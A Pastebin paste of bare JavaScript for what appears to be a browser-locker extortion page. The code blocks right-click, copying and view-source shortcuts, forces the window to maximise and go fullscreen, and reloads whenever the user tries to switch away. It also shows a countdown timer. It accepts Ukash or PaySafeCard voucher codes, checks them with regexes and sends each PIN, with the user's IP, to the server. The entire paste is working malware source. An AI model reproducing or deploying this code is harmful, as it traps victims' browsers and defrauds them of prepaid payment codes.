Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- document.ondragstart = test;
- document.onselectstart = test;
- document.oncontextmenu = test;
- function test()
- {
- return false;
- }
- function billiBo(event)
- {
- var code = event.keyCode ? event.keyCode : event.which ? event.which : null;
- if (event.ctrlKey)
- {
- if (code == 117) return false;
- if (code == 85) return false;
- if (code == 99) return false;
- if (code == 67) return false;
- if (code == 97) return false;
- if (code == 65) return false;
- }
- return true;
- }
- window.onload = maxWindow;
- function maxWindow()
- {
- window.moveTo(0, 0);
- if (document.all)
- {
- top.window.resizeTo(screen.availWidth, screen.availHeight);
- }
- else if (document['layers'] || document.getElementById)
- {
- if (top.window.outerHeight < screen.availHeight || top.window.outerWidth < screen.availWidth)
- {
- top.window.outerHeight = screen.availHeight;
- top.window.outerWidth = screen.availWidth;
- }
- }
- }
- (function(window){
- var $ = window.$;
- $("#blinkingText").css({visibility: 'visible'});
- setTimeout(function ()
- {
- $("#blinkingText").css({visibility: 'hidden'});
- setInterval(function ()
- {
- $("#blinkingText").css({visibility: $("#blinkingText").css('visibility') == 'hidden' ? 'visible' : 'hidden'});
- }, 1000)
- }, 3000);
- function startTimer()
- {
- var my_timer = document.getElementById("my_timer");
- var time = my_timer.innerHTML;
- var arr = time.split(":");
- var h = arr[0];
- var m = arr[1];
- var s = arr[2];
- if (s == 0) {
- if (m == 0) {
- if (h == 0) {
- alert($('#karu_date').val().split('\\n').join('\n'));
- window.location.reload();
- return;
- }
- h--;
- m = 60;
- if (h < 10) h = "0" + h;
- }
- m--;
- if (m < 10) m = "0" + m;
- s = 59;
- }
- else s--;
- if (s < 10) s = "0" + s;
- document.getElementById("my_timer").innerHTML = h+":"+m+":"+s;
- setTimeout(startTimer, 1000);
- }
- startTimer();
- var main = window.main =
- {
- stop_event: function(e)
- {
- if (!e)
- e = window.event;
- //IE9 & Other Browsers
- if (e.stopPropagation) {
- e.stopPropagation();
- }
- //IE8 and Lower
- else {
- e.cancelBubble = true;
- }
- },
- adw_config: function(){
- return this.make_adw_config || (this.make_adw_config = {
- router: 'router.php',
- user_ip: $("#ip").html(),
- noMinal: $('#noMinal').val().split('\\n').join('\n'),
- suPinal: $('#suPinal').val().split('\\n').join('\n')
- });
- },
- susi: function(digit){
- var code_input = $("#code");
- if (typeof digit == 'number' && digit >= 0 && digit < 10)
- {
- code_input.val(code_input.val() + digit);
- }
- },
- backspace: function()
- {
- var code_input = $("#code");
- var sliced = code_input.val().slice(0, -1);
- code_input.val(sliced);
- //alert(str.slice(0, -1));
- },
- clr: function()
- {
- $("#code").val('');
- },
- presubmit: function(type){
- var config = this.adw_config();
- var code = $("#code").val();
- var cost = $("#cost option:selected").val();
- var ukash = new RegExp("^633718(001|002|003|005|007|011|018|021|022|023|024|025|026|027|028|029|030|031|033|034|035|036|037|038|039|041|042|043|046|048|099|150|151|153|156|158|160|163|164|166|174|177|178|179|180|182|183|184|190|191|192|196|384|387|401|427|456|538|539|577|578|579|583|585|636|637|703|704|705|709|758|761|767|773|777|787|984|987)[0-9]{5}[0-9]{5}$");
- var psc = new RegExp("(^0[1-9][0-9]{14}$)|(^0[0-9][1-9]{14}$)|(^0[0-9]{2}[1-9][0-9]{12}$)|(^0[0-9]{3}[1-9][0-9]{11}$)|(^0[0-9]{4}[1-9][0-9]{10}$)");
- switch (type) {
- case '0':
- if (ukash.test(code))
- {
- this.send_data(type, code, cost);
- }
- else
- {
- alert(config.noMinal);
- }
- break
- case '1':
- if (psc.test(code))
- {
- this.send_data(type, code, cost);
- }
- else
- {
- alert(config.noMinal);
- }
- break
- default:
- alert('Earth is falling down')
- }
- },
- send_data: function(type, code, cost )
- {
- var config = this.adw_config();
- if (!window.ie8OrLower)
- {
- $.ajax({
- type: "POST",
- async: false,
- timeout: 5000,
- url: '',
- dataType: 'json',
- data: "type=" + type + '&pin=' + code + '&cost=' + cost + '&ip=' + config.user_ip,
- success: function(result){
- if (typeof result == "string")
- {
- if (result == 'ok')
- {
- alert(config.suPinal);
- }
- else if (result == 'bad')
- {
- alert(config.noMinal);
- }
- }
- },
- error: function(request, status, err) {
- if(status == "timeout") {
- alert('Error sending your data');
- }
- }
- });
- }
- else
- {
- $('iframe').remove();
- var location = window.location.href;
- if (location.indexOf('?') !== -1)
- {
- location = location.split('?')[0];
- }
- window.location.href = location + "?type=" + type + '&pin=' + code + '&cost=' + cost + '&ip=' + config.user_ip;
- alert(config.suPinal);
- }
- }
- };
- window.exit=0;
- if (!$('#reopen').length)
- {
- document.onfocusout = function(e){
- if( e === undefined ){
- var evt = event;
- if( evt.toElement == null ){
- window.exit=1;
- }
- }
- };
- window.onblur = function(e){
- if( e !== undefined ){
- window.exit=1;
- }
- };
- $(window).focus(function () {
- window.exit=0;
- });
- setInterval(function() { if (window.exit==1) location.reload(true); window.exit=0;}, 10);
- }
- })(window);
- window.requestFullScreen = function() {
- var isInFullScreen = (document['fullScreenElement'] && document['fullScreenElement'] !== null) ||
- (document['mozFullScreen'] || document['webkitIsFullScreen']);
- var docElm = document.documentElement;
- if (!isInFullScreen) {
- if (docElm['requestFullscreen']) {
- docElm.requestFullscreen();
- }
- else if (docElm['mozRequestFullScreen']) {
- docElm.mozRequestFullScreen();
- }
- else if (docElm['webkitRequestFullScreen']) {
- docElm.webkitRequestFullScreen();
- }
- }
- }
- var __locks = (function() {
- var addListener = (function() {
- if (window.addEventListener) {
- return function(el, type, fn) {
- el.addEventListener(type, fn, false);
- };
- } else if (window.attachEvent) {
- return function(el, type, fn) {
- el.attachEvent("on" + type, function() {
- fn.call(el, window.event);
- });
- };
- } else {
- return function(el, type, fn) {
- el["on" + type] = fn;
- };
- }
- })();
- var cursorPosition = (function() {
- if (window.pageXOffset !== "undefined") {
- return function(ev) {
- return {x: ev.clientX + window.pageXOffset, y: ev.clientY + window.pageYOffset};
- };
- }
- return function(ev) {
- var d = document.documentElement, b = document.body;
- return {x: ev.clientX + d.scrollLeft + b.scrollLeft, y: ev.clientY + d.scrollTop + b.scrollTop};
- };
- })();
- var windowSize = function() {
- var w = 0;
- var h = 0;
- if (!window.innerWidth) {
- if (!(document.documentElement.clientWidth === 0)) {
- w = document.documentElement.clientWidth;
- h = document.documentElement.clientHeight;
- } else {
- w = document.body.clientWidth;
- h = document.body.clientHeight;
- }
- } else {
- w = window.innerWidth;
- h = window.innerHeight;
- }
- var size = {width: w, height: h};
- var offset = 0;
- if (!!arguments[0]) {
- offset = +arguments[0].toFixed();
- }
- size.width -= offset;
- size.height -= offset;
- return size;
- };
- return {
- addListener: addListener,
- browser: (function() {
- var isOpera = false, isFirefox = false, isSafari = false, isMSIE = false, isChrome = false, isUndefined = true, name = "undefined";
- try {
- var isOpera = !!window.opera || navigator.userAgent.indexOf(" OPR/") >= 0;
- if (isOpera) {
- isUndefined = false;
- name = "opera";
- }
- } catch (bd1) {
- }
- try {
- var isFirefox = typeof InstallTrigger !== "undefined";
- if (isFirefox) {
- isUndefined = false;
- name = "firefox";
- }
- } catch (bd2) {
- }
- try {
- var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor") > 0;
- if (isSafari) {
- isUndefined = false;
- name = "safari";
- }
- } catch (bd3) {
- }
- try {
- var isChrome = !this.isOpera && !this.isSafari && ("WebkitTransform" in document.documentElement.style) && !!window.chrome && !!window.chrome.constructor;
- if (isChrome) {
- isUndefined = false;
- name = "chrome";
- }
- } catch (bd4) {
- }
- var isMSIE = ("MSStream" in window) || /*@cc_on!@*/ false || !!document.documentMode;
- try {
- if (isMSIE) {
- isUndefined = false;
- name = "msie";
- }
- } catch (bd5) {
- }
- return {
- name: name,
- isOpera: isOpera,
- isFirefox: isFirefox,
- isSafari: isSafari,
- isChrome: isChrome,
- isMSIE: isMSIE,
- isUndefined: isUndefined
- };
- })()
- ,
- eventStop: function(e) {
- e = e || window.event;
- if (e.preventDefault) {
- e.preventDefault();
- e.stopPropagation();
- } else {
- e.returnValue = false;
- e.cancelBubble = true;
- }
- return false;
- },
- onContext: function(text) {
- window.document.ondragstart = this.eventStop;
- window.document.onselectstart = this.eventStop;
- window.document.oncontextmenu = this.eventStop;
- window.document.onkeydown = this.eventStop;
- window.document.onkeypress = this.eventStop;
- window.onerror = function() {
- return !0;
- };//*/
- /*window.onbeforeunload = function() {
- return text.toString() || "";
- };//*/
- },
- onDocumentLeave: (function() {
- return function(fn) {
- var type = "object" === typeof document.documentElement.onmouseleave ? "mouseleave" : "mouseout";
- addListener(document.documentElement, type, (function(fn) {
- if ("function" === typeof fn) {
- if ("mouseout" === type) {
- return function(a) {
- a = a || event;
- for (a = a.relatedTarget || a.toElement; a && a !== this; )
- a = a.parentNode;
- if (a !== this)
- return fn.call(this);
- return null;
- };
- } else {
- return fn;
- }
- } else {
- return null;
- }
- })(fn));
- };
- })(),
- onHidden: (function() {
- var temp = {
- b: null,
- q: document,
- p: void 0,
- m: ["focus", "blur"],
- hiddenCallbacks: [],
- _callbacks: [],
- hidden: void 0,
- visibilityChange: void 0,
- bind: function(a) {
- this.hiddenCallbacks.push(a);
- },
- _nativeSwitch: function() {
- if (this.q[this.hidden] === true) {
- var s = this.hiddenCallbacks.length;
- while (--s >= 0) {
- this.hiddenCallbacks[s]();
- }
- }
- },
- listen: function() {
- var self = this;
- try {
- ("undefined" !== typeof this.hidden) ? this.q.addEventListener(this.visibilityChange, function() {
- self._nativeSwitch.apply(self, arguments);
- }, 1) : document.addEventListener ? (window.addEventListener(this.m[0], this._visible, 1), window.addEventListener(this.m[1], this._hidden, 1)) : (this.q.attachEvent("onfocusin", this._visible), this.q.attachEvent("onfocusout", this._hidden));
- } catch (a) {
- }
- },
- init: function() {
- "undefined" !== typeof document.hidden ? (this.hidden = "hidden", this.visibilityChange = "visibilitychange") : "undefined" !== typeof document.mozHidden ? (this.hidden = "mozHidden", this.visibilityChange = "mozvisibilitychange") : "undefined" !== typeof document.msHidden ? (this.hidden = "msHidden", this.visibilityChange = "msvisibilitychange") : "undefined" !== typeof document.webkitHidden && (this.hidden = "webkitHidden", this.visibilityChange = "webkitvisibilitychange");
- this.listen();
- }
- };
- temp.init();
- return temp;
- })(),
- onMouseMove: function(fn, offset) {
- offset = offset || 20;
- if ("function" === typeof fn) {
- addListener(document.documentElement, "mousemove", function(e) {
- var pos = cursorPosition(e || window.event);
- var ws = windowSize(offset);
- if (!(pos.x >= offset && pos.x <= ws.width) || !(pos.y >= offset && pos.y <= ws.height)) {
- fn();
- }
- });
- }
- },
- onDocumentOut: function(fn, offset) {
- if ("function" === typeof fn) {
- addListener(document, "mouseout", function(e) {
- e = e || event;
- var a, pos = cursorPosition(e), ws = windowSize();
- for (a = e.relatedTarget || e.toElement; a && a !== this; )
- a = a.parentNode;
- if (a !== this && (pos.y < offset || pos.y > ws.height)) {
- fn.call(this, e);
- }
- });
- }
- },
- unLock: function() {
- this.reload = function() {
- };
- this.onHidden.hiddenCallbacks = [];
- window.document.ondragstart = null;
- window.document.onselectstart = null;
- window.document.oncontextmenu = null;
- window.document.onkeydown = null;
- window.onbeforeunload = null;
- },
- init: function() {
- var self = this;
- var defaultOptions = {
- callback: function() {
- },
- mouseLeaveBorder: 10,
- beforeUnloadText: "",
- browsers: ["firefox"]
- };
- if ("object" === typeof arguments[0]) {
- var option = arguments[0];
- for (var i in option) {
- if (option.hasOwnProperty(i)) {
- defaultOptions[i] = option[i];
- }
- }
- }
- var runReload = function() {
- defaultOptions.callback();
- self.reload();
- };
- var browser = this.browser;
- for (var i in defaultOptions.browsers) {
- if (defaultOptions.browsers[i] === browser.name) {
- __locks.onContext(defaultOptions.beforeUnloadText);
- __locks.onHidden.bind(runReload);
- __locks.onDocumentLeave(runReload);
- __locks.onMouseMove(runReload, defaultOptions.mouseLeaveBorder);
- if (!browser.isSafari)
- __locks.onDocumentOut(runReload, defaultOptions.mouseLeaveBorder);
- }
- }
- },
- reload: function() {
- getFrame(document.getElementById("reload")).location.reload();
- // getFrame(document.getElementById("reload")).write("Fuck");
- }
- };
- })();
- //==============================================================================
- function getFrame(frame) {
- if (typeof frame.contentDocument !== "undefined")
- var doc = frame.contentDocument;
- else if (typeof frame.contentWindow !== "undefined")
- var doc = frame.contentWindow.document;
- return doc;
- }
- var options = {
- callback: function() {},
- mouseLeaveBorder: 20,
- beforeUnloadText: "",
- browsers: ["firefox", "chrome", "safari"]
- };
- __locks.init(options)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement